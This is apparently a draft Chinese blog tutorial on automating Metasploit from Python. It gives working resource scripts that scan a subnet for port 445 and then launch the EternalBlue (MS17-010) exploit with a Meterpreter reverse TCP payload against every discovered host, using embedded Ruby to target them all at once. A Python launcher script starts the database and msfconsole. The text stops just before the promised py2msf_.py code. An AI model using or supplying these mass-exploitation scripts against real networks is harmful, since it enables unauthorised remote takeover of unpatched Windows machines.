本文是草稿,很多未整理完 ! 各位凑合着看先
延续b3文提到的思路,这里提供实现的方式。
step1
文件
startConfig.rc
start_msf.py
python借助pymsf模块与msf的msgrpc插件实现交互控制,那么前提就是我们已经启动了msf,并且加载了msgrpc插件,完成了msgrpc的配置。
我们这里利用msf中的resource script章节提到的.rc
文件和python脚本实现启动
startConfig.rc
中的代码:
db_status
load msgrpc Pass=asdf123
db_nmap -p 445 -T4 172.17.16.36-46
这段配置是让msfconsole加载msgrpc插件,并且配置服务的密码时asdf123
,接着用db_nmap
扫描172.17.16.36-46
这个区间的IP的445
端口,并将扫描到的结果存入msf的数据库中,以便后续调用。
start_msf.py
中的代码:
import os
import time
print 'service postgresql start...'
os.system('service postgresql start')
time.sleep(5)
print 'msfdb init...'
os.system('msfdb init')
time.sleep(2)
print 'launch msfconsole with startConfig.rc....'
os.system('msfconsole -r startConfig.rc')
这段代码的作用就是确保数据库服务是启动的,且启动msfconsole时加载startConfig.rc
的命令配置。
step2
我们这里只实现脚本对多个IP在永恒之蓝漏洞上的自动攻击,当然只要你配置了很多漏洞配置文件,就可以对很多个漏洞进行多IP自动攻击。
文件
ms17_010_eternalblue.rc
py2msf_.py
ms17_010_eternalblue.rc中的代码:
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
<ruby>
run_single("set RHOST #{framework.db.hosts.map(&:address).join(' ')}")
</ruby>
set lhost 172.17.16.36
exploit -j -z
这段rc配置是永恒之蓝的渗透攻击的命令过程,其中攻击者的主机是172.17.16/36
,为了处理大量被攻击者主机而不是某一个主机,我们嵌入ruby脚本,让其调用数据库中hosts的数据,也就是我们前面用db_nmap存入的数据,具体的一些解释参照前面的文章。
其中exploit -j -z
中-j
与-z
的用途你们自己查阅吧,仓促下,我就不解释了。
下面的代码,可能是我之前的第一版本代码,新版本的没去load下来,你们也先凑合着看。
py2msf_.py中的代码: